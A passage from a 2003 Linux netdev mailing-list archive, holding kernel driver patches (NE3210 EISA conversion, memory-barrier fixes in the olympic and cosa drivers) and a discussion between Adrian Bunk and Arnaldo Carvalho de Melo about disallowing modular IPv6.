NE3210_STOP_PG*0x100); + out3: + free_irq (dev->irq, dev); + out2: + release_region (ioaddr + NE3210_CFG1, NE3210_CFG_EXTENT); + out1: + release_region (ioaddr, NE3210_IO_EXTENT); + out: + free_netdev (dev); + return retval; } +static int __devexit ne3210_eisa_remove (struct device *device) +{ + struct net_device *dev = device->driver_data; + unsigned long ioaddr = to_eisa_device (device)->base_addr; + + unregister_netdev (dev); + iounmap((void *)dev->mem_start); + release_mem_region (ei_status.priv, NE3210_STOP_PG*0x100); + free_irq (dev->irq, dev); + release_region (ioaddr + NE3210_CFG1, NE3210_CFG_EXTENT); + release_region (ioaddr, NE3210_IO_EXTENT); + free_netdev (dev); + + return 0; +} + /* * Reset by toggling the "Board Enable" bits (bit 2 and 0). */ @@ -309,7 +290,7 @@ ne3210_get_8390_hdr(struct net_device *dev, struct e8390_pkt_hdr *hdr, int ring_page) { unsigned long hdr_start = dev->mem_start + ((ring_page - NE3210_START_PG)<<8); - isa_memcpy_fromio(hdr, hdr_start, sizeof(struct e8390_pkt_hdr)); + memcpy_fromio(hdr, hdr_start, sizeof(struct e8390_pkt_hdr)); hdr->count = (hdr->count + 3) & ~3; /* Round up allocation. */ } @@ -327,12 +308,12 @@ if (xfer_start + count > ei_status.rmem_end) { /* Packet wraps over end of ring buffer. */ int semi_count = ei_status.rmem_end - xfer_start; - isa_memcpy_fromio(skb->data, xfer_start, semi_count); + memcpy_fromio(skb->data, xfer_start, semi_count); count -= semi_count; - isa_memcpy_fromio(skb->data + semi_count, ei_status.rmem_start, count); + memcpy_fromio(skb->data + semi_count, ei_status.rmem_start, count); } else { /* Packet is in one chunk. */ - isa_memcpy_fromio(skb->data, xfer_start, count); + memcpy_fromio(skb->data, xfer_start, count); } } @@ -342,7 +323,7 @@ unsigned long shmem = dev->mem_start + ((start_page - NE3210_START_PG)<<8); count = (count + 3) & ~3; /* Round up to doubleword */ - isa_memcpy_toio(shmem, buf, count); + memcpy_toio(shmem, buf, count); } static int ne3210_open(struct net_device *dev) @@ -361,7 +342,23 @@ return 0; } +static struct eisa_device_id ne3210_ids[] = { + { "EGL0101" }, + { "NVL1801" }, + { "" }, +}; + +static struct eisa_driver ne3210_eisa_driver = { + .id_table = ne3210_ids, + .driver = { + .name = "ne3210", + .probe = ne3210_eisa_probe, + .remove = __devexit_p (ne3210_eisa_remove), + }, +}; + #ifdef MODULE +#if 0 #define MAX_NE3210_CARDS 4 /* Max number of NE3210 cards per module */ static struct net_device dev_ne3210[MAX_NE3210_CARDS]; static int io[MAX_NE3210_CARDS]; @@ -374,50 +371,22 @@ MODULE_PARM_DESC(io, "I/O base address(es)"); MODULE_PARM_DESC(irq, "IRQ number(s)"); MODULE_PARM_DESC(mem, "memory base address(es)"); +#endif +#endif /* MODULE */ + + MODULE_DESCRIPTION("NE3210 EISA Ethernet driver"); MODULE_LICENSE("GPL"); -int init_module(void) +int ne3210_init(void) { - int this_dev, found = 0; - - for (this_dev = 0; this_dev < MAX_NE3210_CARDS; this_dev++) { - struct net_device *dev = &dev_ne3210[this_dev]; - dev->irq = irq[this_dev]; - dev->base_addr = io[this_dev]; - dev->mem_start = mem[this_dev]; - dev->init = ne3210_probe; - /* Default is to only install one card. */ - if (io[this_dev] == 0 && this_dev != 0) break; - if (register_netdev(dev) != 0) { - printk(KERN_WARNING "ne3210.c: No NE3210 card found (i/o = 0x%x).\n", io[this_dev]); - if (found != 0) { /* Got at least one. */ - return 0; - } - return -ENXIO; - } - found++; - } - return 0; + return eisa_driver_register (&ne3210_eisa_driver); } -void cleanup_module(void) +void ne3210_cleanup(void) { - int this_dev; - - for (this_dev = 0; this_dev < MAX_NE3210_CARDS; this_dev++) { - struct net_device *dev = &dev_ne3210[this_dev]; - if (dev->priv != NULL) { - free_irq(dev->irq, dev); - release_region(dev->base_addr, NE3210_IO_EXTENT); - if (ei_status.reg0) - iounmap((void *)dev->mem_start); - unregister_netdev(dev); - kfree(dev->priv); - dev->priv = NULL; - } - } + eisa_driver_unregister (&ne3210_eisa_driver); } -#endif /* MODULE */ - +module_init (ne3210_init); +module_exit (ne3210_cleanup); diff -Nru a/drivers/net/wireless/arlan-main.c b/drivers/net/wireless/arlan-main.c --- a/drivers/net/wireless/arlan-main.c Sun Sep 28 10:38:07 2003 +++ b/drivers/net/wireless/arlan-main.c Sun Sep 28 10:38:07 2003 @@ -721,9 +721,9 @@ else { netif_stop_queue (dev); - return -1; IFDEBUG(ARLAN_DEBUG_TX_CHAIN) printk(KERN_ERR "TX TAIL & HEAD full, return, tailStart %d headEnd %d\n", tailStarts, headEnds); + return -1; } priv->out_bytes += length; priv->out_bytes10 += length; diff -Nru a/include/linux/hdlcdrv.h b/include/linux/hdlcdrv.h --- a/include/linux/hdlcdrv.h Sun Sep 28 10:38:07 2003 +++ b/include/linux/hdlcdrv.h Sun Sep 28 10:38:07 2003 @@ -359,11 +359,11 @@ void hdlcdrv_receiver(struct net_device *, struct hdlcdrv_state *); void hdlcdrv_transmitter(struct net_device *, struct hdlcdrv_state *); void hdlcdrv_arbitrate(struct net_device *, struct hdlcdrv_state *); -int hdlcdrv_register_hdlcdrv(struct net_device *dev, const struct hdlcdrv_ops *ops, - unsigned int privsize, char *ifname, - unsigned int baseaddr, unsigned int irq, - unsigned int dma); -int hdlcdrv_unregister_hdlcdrv(struct net_device *dev); +struct net_device *hdlcdrv_register(const struct hdlcdrv_ops *ops, + unsigned int privsize, const char *ifname, + unsigned int baseaddr, unsigned int irq, + unsigned int dma); +void hdlcdrv_unregister(struct net_device *dev); /* -------------------------------------------------------------------- */ From felipewd@terra.com.br Sun Sep 28 14:53:47 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 28 Sep 2003 14:54:10 -0700 (PDT) Received: from ivoti.terra.com.br (ivoti.terra.com.br [200.176.3.20]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8SLrjFx016032 for ; Sun, 28 Sep 2003 14:53:46 -0700 Received: from botucatu.terra.com.br (botucatu.terra.com.br [200.176.3.78]) by ivoti.terra.com.br (Postfix) with ESMTP id 65EA879C327; Sun, 28 Sep 2003 18:53:43 -0300 (BRT) Received: from terra.com.br (200-180-181-135.paemt7002.dsl.brasiltelecom.net.br [200.180.181.135]) (authenticated user felipewd) by botucatu.terra.com.br (Postfix) with ESMTP id 1540A29C967; Sun, 28 Sep 2003 18:51:51 -0300 (BRT) Message-ID: <3F775934.5080004@terra.com.br> Date: Sun, 28 Sep 2003 18:57:08 -0300 From: Felipe W Damasio User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3) Gecko/20030312 X-Accept-Language: en-us, en MIME-Version: 1.0 To: mikep@linuxtr.net Cc: linux-net@vger.kernel.org, netdev@oss.sgi.com, linux-tr@linuxtr.net Subject: [PATCH] unneeded memory barrier in olympic tokenring driver Content-Type: multipart/mixed; boundary="------------000309040203080606010809" X-archive-position: 309 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: felipewd@terra.com.br Precedence: bulk X-list: netdev Content-Length: 1449 Lines: 49 This is a multi-part message in MIME format. --------------000309040203080606010809 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Hi Daniel, Patch against 2.6.0-test6. Removes 2 unneeded memory barriers when setting the current task to TASK_RUNNING. Please consider applying, Felipe -- It's most certainly GNU/Linux, not Linux. Read more at http://www.gnu.org/gnu/why-gnu-linux.html --------------000309040203080606010809 Content-Type: text/plain; name="olympic-barrier.patch" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="olympic-barrier.patch" --- linux-2.6.0-test6/drivers/net/tokenring/olympic.c.orig Sun Sep 28 18:51:13 2003 +++ linux-2.6.0-test6/drivers/net/tokenring/olympic.c Sun Sep 28 18:51:36 2003 @@ -531,7 +531,7 @@ set_current_state(TASK_INTERRUPTIBLE) ; } remove_wait_queue(&olympic_priv->srb_wait,&wait) ; - set_current_state(TASK_RUNNING) ; + __set_current_state(TASK_RUNNING) ; olympic_priv->srb_queued = 0 ; #if OLYMPIC_DEBUG printk("init_srb(%p): ",init_srb); @@ -1122,7 +1122,7 @@ set_current_state(TASK_INTERRUPTIBLE) ; } remove_wait_queue(&olympic_priv->srb_wait,&wait) ; - set_current_state(TASK_RUNNING) ; + __set_current_state(TASK_RUNNING) ; olympic_priv->rx_status_last_received++; olympic_priv->rx_status_last_received&=OLYMPIC_RX_RING_SIZE-1; --------------000309040203080606010809-- From bunk@fs.tum.de Sun Sep 28 15:59:52 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 28 Sep 2003 16:00:07 -0700 (PDT) Received: from hermes.fachschaften.tu-muenchen.de (hermes.fachschaften.tu-muenchen.de [129.187.202.12]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8SMxoFx017342 for ; Sun, 28 Sep 2003 15:59:51 -0700 Received: (qmail 18906 invoked from network); 28 Sep 2003 22:58:31 -0000 Received: from mimas.fachschaften.tu-muenchen.de (129.187.202.58) by hermes.fachschaften.tu-muenchen.de with QMQP; 28 Sep 2003 22:58:31 -0000 Date: Mon, 29 Sep 2003 00:59:41 +0200 From: Adrian Bunk To: netdev@oss.sgi.com, davem@redhat.com, pekkas@netcore.fi Cc: lksctp-developers@lists.sourceforge.net, linux-kernel@vger.kernel.org Subject: RFC: [2.6 patch] disallow modular IPv6 Message-ID: <20030928225941.GW15338@fs.tum.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.1i X-archive-position: 310 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: bunk@fs.tum.de Precedence: bulk X-list: netdev It seems modular IPv6 doesn't work 100% reliable, e.g. after looking at the code it doesn't seem to be a good idea to compile a kernel without IPv6 support and later build and install IPv6 modules. Is there a great need for modular IPv6 or is the patch below to disallow modular IPv6 OK? diffstat output: net/Kconfig | 2 +- net/sctp/Kconfig | 6 ------ 2 files changed, 1 insertion(+), 7 deletions(-) cu Adrian --- linux-2.6.0-test6-full/net/Kconfig.old 2003-09-29 00:53:05.000000000 +0200 +++ linux-2.6.0-test6-full/net/Kconfig 2003-09-29 00:55:55.000000000 +0200 @@ -117,7 +117,7 @@ # IPv6 as module will cause a CRASH if you try to unload it config IPV6 - tristate "The IPv6 protocol (EXPERIMENTAL)" + bool "The IPv6 protocol (EXPERIMENTAL)" depends on INET && EXPERIMENTAL ---help--- This is experimental support for the next version of the Internet --- linux-2.6.0-test6-full/net/sctp/Kconfig.old 2003-09-29 00:50:11.000000000 +0200 +++ linux-2.6.0-test6-full/net/sctp/Kconfig 2003-09-29 00:52:55.000000000 +0200 @@ -5,14 +5,8 @@ menu "SCTP Configuration (EXPERIMENTAL)" depends on INET && EXPERIMENTAL -config IPV6_SCTP__ - tristate - default y if IPV6=n - default IPV6 if IPV6 - config IP_SCTP tristate "The SCTP Protocol (EXPERIMENTAL)" - depends on IPV6_SCTP__ ---help--- Stream Control Transmission Protocol From acme@conectiva.com.br Sun Sep 28 16:13:09 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 28 Sep 2003 16:13:13 -0700 (PDT) Received: from orion.netbank.com.br (orion.netbank.com.br [200.203.199.90]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8SND7Fx017796 for ; Sun, 28 Sep 2003 16:13:08 -0700 Received: from [200.181.169.145] (helo=brinquendo.conectiva.com.br) by orion.netbank.com.br with asmtp (Exim 3.33 #1) id 1A3kt0-0001WM-00; Sun, 28 Sep 2003 20:23:30 -0300 Received: by brinquendo.conectiva.com.br (Postfix, from userid 500) id 1E825E739; Sun, 28 Sep 2003 23:18:42 +0000 (UTC) Date: Sun, 28 Sep 2003 20:18:42 -0300 From: Arnaldo Carvalho de Melo To: Adrian Bunk Cc: netdev@oss.sgi.com, davem@redhat.com, pekkas@netcore.fi, lksctp-developers@lists.sourceforge.net, linux-kernel@vger.kernel.org Subject: Re: RFC: [2.6 patch] disallow modular IPv6 Message-ID: <20030928231842.GE1039@conectiva.com.br> Mail-Followup-To: Arnaldo Carvalho de Melo , Adrian Bunk , netdev@oss.sgi.com, davem@redhat.com, pekkas@netcore.fi, lksctp-developers@lists.sourceforge.net, linux-kernel@vger.kernel.org References: <20030928225941.GW15338@fs.tum.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20030928225941.GW15338@fs.tum.de> X-Url: http://advogato.org/person/acme Organization: Conectiva S.A. User-Agent: Mutt/1.5.4i X-archive-position: 311 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: acme@conectiva.com.br Precedence: bulk X-list: netdev Em Mon, Sep 29, 2003 at 12:59:41AM +0200, Adrian Bunk escreveu: > It seems modular IPv6 doesn't work 100% reliable, e.g. after looking at > the code it doesn't seem to be a good idea to compile a kernel without > IPv6 support and later build and install IPv6 modules. Is there a great > need for modular IPv6 or is the patch below to disallow modular IPv6 OK? Please, don't... We're going in the all modules direction, not the other way around, distro (general purpose) kernels would get big bloat in the static kernel. - Arnaldo From bunk@fs.tum.de Sun Sep 28 16:24:07 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 28 Sep 2003 16:24:12 -0700 (PDT) Received: from hermes.fachschaften.tu-muenchen.de (hermes.fachschaften.tu-muenchen.de [129.187.202.12]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8SNO6Fx020990 for ; Sun, 28 Sep 2003 16:24:06 -0700 Received: (qmail 24466 invoked from network); 28 Sep 2003 23:22:47 -0000 Received: from mimas.fachschaften.tu-muenchen.de (129.187.202.58) by hermes.fachschaften.tu-muenchen.de with QMQP; 28 Sep 2003 23:22:47 -0000 Date: Mon, 29 Sep 2003 01:24:03 +0200 From: Adrian Bunk To: Arnaldo Carvalho de Melo , netdev@oss.sgi.com, davem@redhat.com, pekkas@netcore.fi, lksctp-developers@lists.sourceforge.net, linux-kernel@vger.kernel.org Subject: Re: RFC: [2.6 patch] disallow modular IPv6 Message-ID: <20030928232403.GX15338@fs.tum.de> References: <20030928225941.GW15338@fs.tum.de> <20030928231842.GE1039@conectiva.com.br> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20030928231842.GE1039@conectiva.com.br> User-Agent: Mutt/1.4.1i X-archive-position: 312 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: bunk@fs.tum.de Precedence: bulk X-list: netdev On Sun, Sep 28, 2003 at 08:18:42PM -0300, Arnaldo Carvalho de Melo wrote: > Em Mon, Sep 29, 2003 at 12:59:41AM +0200, Adrian Bunk escreveu: > > It seems modular IPv6 doesn't work 100% reliable, e.g. after looking at > > the code it doesn't seem to be a good idea to compile a kernel without > > IPv6 support and later build and install IPv6 modules. Is there a great > > need for modular IPv6 or is the patch below to disallow modular IPv6 OK? > > Please, don't... We're going in the all modules direction, not the other > way around, distro (general purpose) kernels would get big bloat in the > static kernel. E.g. from include/net/tcp.h: <-- snip --> ... struct tcp_skb_cb { union { struct inet_skb_parm h4; #if defined(CONFIG_IPV6) || defined (CONFIG_IPV6_MODULE) struct inet6_skb_parm h6; #endif } header; /* For incoming frames */ ... <-- snip --> This is broken since it's legal to compile a module much later than the kernel. If modular IPv6 is allowed, the #if has to be removed, and the struct will be larger in the case IPv6 is never be used. > - Arnaldo cu Adrian -- "Is there not promise of rain?" Ling Tan asked suddenly out of the darkness. There had been need of rain for many days. "Only a promise," Lao Er said. Pearl S. Buck - Dragon Seed From acme@conectiva.com.br Sun Sep 28 16:33:41 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 28 Sep 2003 16:33:44 -0700 (PDT) Received: from orion.netbank.com.br (orion.netbank.com.br [200.203.199.90]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8SNXdFx021542 for ; Sun, 28 Sep 2003 16:33:40 -0700 Received: from [200.181.169.145] (helo=brinquendo.conectiva.com.br) by orion.netbank.com.br with asmtp (Exim 3.33 #1) id 1A3lCt-0001XT-00; Sun, 28 Sep 2003 20:44:04 -0300 Received: by brinquendo.conectiva.com.br (Postfix, from userid 500) id 197A2E739; Sun, 28 Sep 2003 23:39:11 +0000 (UTC) Date: Sun, 28 Sep 2003 20:39:10 -0300 From: Arnaldo Carvalho de Melo To: Adrian Bunk Cc: netdev@oss.sgi.com, davem@redhat.com, pekkas@netcore.fi, lksctp-developers@lists.sourceforge.net, linux-kernel@vger.kernel.org Subject: Re: RFC: [2.6 patch] disallow modular IPv6 Message-ID: <20030928233909.GG1039@conectiva.com.br> Mail-Followup-To: Arnaldo Carvalho de Melo , Adrian Bunk , netdev@oss.sgi.com, davem@redhat.com, pekkas@netcore.fi, lksctp-developers@lists.sourceforge.net, linux-kernel@vger.kernel.org References: <20030928225941.GW15338@fs.tum.de> <20030928231842.GE1039@conectiva.com.br> <20030928232403.GX15338@fs.tum.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20030928232403.GX15338@fs.tum.de> X-Url: http://advogato.org/person/acme Organization: Conectiva S.A. User-Agent: Mutt/1.5.4i X-archive-position: 313 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: acme@conectiva.com.br Precedence: bulk X-list: netdev Em Mon, Sep 29, 2003 at 01:24:03AM +0200, Adrian Bunk escreveu: > On Sun, Sep 28, 2003 at 08:18:42PM -0300, Arnaldo Carvalho de Melo wrote: > > Em Mon, Sep 29, 2003 at 12:59:41AM +0200, Adrian Bunk escreveu: > > > It seems modular IPv6 doesn't work 100% reliable, e.g. after looking at > > > the code it doesn't seem to be a good idea to compile a kernel without > > > IPv6 support and later build and install IPv6 modules. Is there a great > > > need for modular IPv6 or is the patch below to disallow modular IPv6 OK? > > > > Please, don't... We're going in the all modules direction, not the other > > way around, distro (general purpose) kernels would get big bloat in the > > static kernel. > > E.g. from include/net/tcp.h: > > <-- snip --> > > ... > struct tcp_skb_cb { > union { > struct inet_skb_parm h4; > #if defined(CONFIG_IPV6) || defined (CONFIG_IPV6_MODULE) > struct inet6_skb_parm h6; > #endif > } header; /* For incoming frames */ > ... > > <-- snip --> > > This is broken since it's legal to compile a module much later than the > kernel. > > If modular IPv6 is allowed, the #if has to be removed, and the struct > will be larger in the case IPv6 is never be used. Its not just this, look at all the CONFIG_IPV6 related #ifdefs in the core tcp/ip v4 code, the point is that this is a (currently) needed limitation to be able to ship a kernel that can be used by both ipv6 users and people that doesn't (yet) need ipv6. Simply removing the ifdefs in the headers will not help, leaving it in the kernel will bloat general purpose kernels, so can we live with this limitation till we sort out the IPV6/IPV4 entanglement in a good way? I.e. lets leave ipv6 as a special case, perhaps just adding a big fat warning in relevant Kconfigs. - Arnaldo From acme@conectiva.com.br Sun Sep 28 16:42:23 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 28 Sep 2003 16:42:26 -0700 (PDT) Received: from orion.netbank.com.br (orion.netbank.com.br [200.203.199.90]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8SNgLFx021937 for ; Sun, 28 Sep 2003 16:42:22 -0700 Received: from [200.181.169.145] (helo=brinquendo.conectiva.com.br) by orion.netbank.com.br with asmtp (Exim 3.33 #1) id 1A3lLL-0001Xq-00; Sun, 28 Sep 2003 20:52:47 -0300 Received: by brinquendo.conectiva.com.br (Postfix, from userid 500) id DC7C8E739; Sun, 28 Sep 2003 23:47:58 +0000 (UTC) Date: Sun, 28 Sep 2003 20:47:58 -0300 From: Arnaldo Carvalho de Melo To: Adrian Bunk , netdev@oss.sgi.com, davem@redhat.com, pekkas@netcore.fi, lksctp-developers@lists.sourceforge.net, linux-kernel@vger.kernel.org Subject: Re: RFC: [2.6 patch] disallow modular IPv6 Message-ID: <20030928234757.GI1039@conectiva.com.br> Mail-Followup-To: Arnaldo Carvalho de Melo , Adrian Bunk , netdev@oss.sgi.com, davem@redhat.com, pekkas@netcore.fi, lksctp-developers@lists.sourceforge.net, linux-kernel@vger.kernel.org References: <20030928225941.GW15338@fs.tum.de> <20030928231842.GE1039@conectiva.com.br> <20030928232403.GX15338@fs.tum.de> <20030928233909.GG1039@conectiva.com.br> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20030928233909.GG1039@conectiva.com.br> X-Url: http://advogato.org/person/acme Organization: Conectiva S.A. User-Agent: Mutt/1.5.4i X-archive-position: 314 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: acme@conectiva.com.br Precedence: bulk X-list: netdev Em Sun, Sep 28, 2003 at 08:39:10PM -0300, Arnaldo C. Melo escreveu: > Simply removing the ifdefs in the headers will not help, leaving it in the > kernel will bloat general purpose kernels, so can we live with this limitation s/leaving it in the kernel/making it always statically linked in the kernel if selected/g Sorry... - Arnaldo From bunk@fs.tum.de Sun Sep 28 17:14:46 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 28 Sep 2003 17:14:54 -0700 (PDT) Received: from hermes.fachschaften.tu-muenchen.de (hermes.fachschaften.tu-muenchen.de [129.187.202.12]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8T0EiFx022535 for ; Sun, 28 Sep 2003 17:14:45 -0700 Received: (qmail 3245 invoked from network); 29 Sep 2003 00:13:25 -0000 Received: from mimas.fachschaften.tu-muenchen.de (129.187.202.58) by hermes.fachschaften.tu-muenchen.de with QMQP; 29 Sep 2003 00:13:25 -0000 Date: Mon, 29 Sep 2003 02:14:39 +0200 From: Adrian Bunk To: Arnaldo Carvalho de Melo , netdev@oss.sgi.com, davem@redhat.com, pekkas@netcore.fi, lksctp-developers@lists.sourceforge.net, linux-kernel@vger.kernel.org Subject: Re: RFC: [2.6 patch] disallow modular IPv6 Message-ID: <20030929001439.GY15338@fs.tum.de> References: <20030928225941.GW15338@fs.tum.de> <20030928231842.GE1039@conectiva.com.br> <20030928232403.GX15338@fs.tum.de> <20030928233909.GG1039@conectiva.com.br> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20030928233909.GG1039@conectiva.com.br> User-Agent: Mutt/1.4.1i X-archive-position: 315 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: bunk@fs.tum.de Precedence: bulk X-list: netdev On Sun, Sep 28, 2003 at 08:39:10PM -0300, Arnaldo Carvalho de Melo wrote: > > Its not just this, look at all the CONFIG_IPV6 related #ifdefs in the core > tcp/ip v4 code, the point is that this is a (currently) needed limitation to be > able to ship a kernel that can be used by both ipv6 users and people that > doesn't (yet) need ipv6. > > Simply removing the ifdefs in the headers will not help, leaving it in the > kernel will bloat general purpose kernels, so can we live with this limitation > till we sort out the IPV6/IPV4 entanglement in a good way? I.e. lets leave ipv6 > as a special case, perhaps just adding a big fat warning in relevant Kconfigs. What about the following solution (the names and help texts for the config options might not be optimal, I hope you understand the intention): config IPV6_SUPPORT bool "IPv6 support" config IPV6_ENABLE tristate "enable IPv6" depends on IPV6_SUPPORT IPV6_SUPPORT changes structs etc. and IPV6_ENABLE is responsible for ipv6.o . > - Arnaldo cu Adrian -- "Is there not promise of rain?" Ling Tan asked suddenly out of the darkness. There had been need of rain for many days. "Only a promise," Lao Er said. Pearl S. Buck - Dragon Seed From acme@conectiva.com.br Sun Sep 28 17:26:55 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 28 Sep 2003 17:27:02 -0700 (PDT) Received: from orion.netbank.com.br (orion.netbank.com.br [200.203.199.90]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8T0QrFx022952 for ; Sun, 28 Sep 2003 17:26:54 -0700 Received: from [200.181.169.145] (helo=brinquendo.conectiva.com.br) by orion.netbank.com.br with asmtp (Exim 3.33 #1) id 1A3m2Q-0001aG-00; Sun, 28 Sep 2003 21:37:18 -0300 Received: by brinquendo.conectiva.com.br (Postfix, from userid 500) id 18580E739; Mon, 29 Sep 2003 00:32:30 +0000 (UTC) Date: Sun, 28 Sep 2003 21:32:30 -0300 From: Arnaldo Carvalho de Melo To: Adrian Bunk Cc: netdev@oss.sgi.com, davem@redhat.com, pekkas@netcore.fi, lksctp-developers@lists.sourceforge.net, linux-kernel@vger.kernel.org Subject: Re: RFC: [2.6 patch] disallow modular IPv6 Message-ID: <20030929003229.GM1039@conectiva.com.br> Mail-Followup-To: Arnaldo Carvalho de Melo , Adrian Bunk , netdev@oss.sgi.com, davem@redhat.com, pekkas@netcore.fi, lksctp-developers@lists.sourceforge.net, linux-kernel@vger.kernel.org References: <20030928225941.GW15338@fs.tum.de> <20030928231842.GE1039@conectiva.com.br> <20030928232403.GX15338@fs.tum.de> <20030928233909.GG1039@conectiva.com.br> <20030929001439.GY15338@fs.tum.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20030929001439.GY15338@fs.tum.de> X-Url: http://advogato.org/person/acme Organization: Conectiva S.A. User-Agent: Mutt/1.5.4i X-archive-position: 316 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: acme@conectiva.com.br Precedence: bulk X-list: netdev Em Mon, Sep 29, 2003 at 02:14:39AM +0200, Adrian Bunk escreveu: > On Sun, Sep 28, 2003 at 08:39:10PM -0300, Arnaldo Carvalho de Melo wrote: > What about the following solution (the names and help texts for the > config options might not be optimal, I hope you understand the > intention): > > config IPV6_SUPPORT > bool "IPv6 support" > > config IPV6_ENABLE > tristate "enable IPv6" > depends on IPV6_SUPPORT > > IPV6_SUPPORT changes structs etc. and IPV6_ENABLE is responsible for > ipv6.o . Humm, and the idea is? This seems confusing, could you elaborate on why such scheme is a good thing? - Arnaldo From felipewd@terra.com.br Sun Sep 28 19:32:41 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 28 Sep 2003 19:32:53 -0700 (PDT) Received: from itaqui.terra.com.br (itaqui.terra.com.br [200.176.3.19]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8T2WeFx024477 for ; Sun, 28 Sep 2003 19:32:41 -0700 Received: from tucuriba.terra.com.br (tucuriba.terra.com.br [200.176.3.53]) by itaqui.terra.com.br (Postfix) with ESMTP id 7F9EE8106E6; Sun, 28 Sep 2003 23:32:38 -0300 (BRT) Received: from terra.com.br (200-180-181-135.paemt7002.dsl.brasiltelecom.net.br [200.180.181.135]) (authenticated user felipewd) by tucuriba.terra.com.br (Postfix) with ESMTP id D5446264539; Sun, 28 Sep 2003 23:32:37 -0300 (BRT) Message-ID: <3F779B05.4060001@terra.com.br> Date: Sun, 28 Sep 2003 23:37:57 -0300 From: Felipe W Damasio User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3) Gecko/20030312 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Jeff Garzik Cc: linux-net@vger.kernel.org, netdev@oss.sgi.com Subject: [PATCH] Memory Barriers on cosa wan driver Content-Type: multipart/mixed; boundary="------------010404050101070809090109" X-archive-position: 317 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: felipewd@terra.com.br Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --------------010404050101070809090109 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Hi Jeff, Patch against 2.6.0-test6. Adds a few needed memory barriers before schedule_timeout, kills setting current task to TASK_RUNNING after schedule_timeout and uses the __set_current_state functions instead of current->state = TASK_RUNNING. I don't have the hardware, so I couldn't test it. But it looks right :) Please review and consider applying if it is ok. Thanks, Felipe -- It's most certainly GNU/Linux, not Linux. Read more at http://www.gnu.org/gnu/why-gnu-linux.html --------------010404050101070809090109 Content-Type: text/plain; name="cosa-mb.patch" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="cosa-mb.patch" --- linux-2.6.0-test6/drivers/net/wan/cosa.c.orig Sun Sep 28 23:26:29 2003 +++ linux-2.6.0-test6/drivers/net/wan/cosa.c Sun Sep 28 23:28:17 2003 @@ -516,10 +516,9 @@ * FIXME: When this code is not used as module, we should * probably call udelay() instead of the interruptible sleep. */ - current->state = TASK_INTERRUPTIBLE; + set_current_state(TASK_INTERRUPTIBLE); cosa_putstatus(cosa, SR_TX_INT_ENA); schedule_timeout(30); - current->state = TASK_RUNNING; irq = probe_irq_off(irqs); /* Disable all IRQs from the card */ cosa_putstatus(cosa, 0); @@ -824,21 +823,21 @@ spin_lock_irqsave(&cosa->lock, flags); add_wait_queue(&chan->rxwaitq, &wait); while(!chan->rx_status) { - current->state = TASK_INTERRUPTIBLE; + set_current_state(TASK_INTERRUPTIBLE); spin_unlock_irqrestore(&cosa->lock, flags); schedule(); spin_lock_irqsave(&cosa->lock, flags); if (signal_pending(current) && chan->rx_status == 0) { chan->rx_status = 1; remove_wait_queue(&chan->rxwaitq, &wait); - current->state = TASK_RUNNING; + __set_current_state(TASK_RUNNING); spin_unlock_irqrestore(&cosa->lock, flags); up(&chan->rsem); return -ERESTARTSYS; } } remove_wait_queue(&chan->rxwaitq, &wait); - current->state = TASK_RUNNING; + __set_current_state(TASK_RUNNING); kbuf = chan->rxdata; count = chan->rxsize; spin_unlock_irqrestore(&cosa->lock, flags); @@ -909,21 +908,21 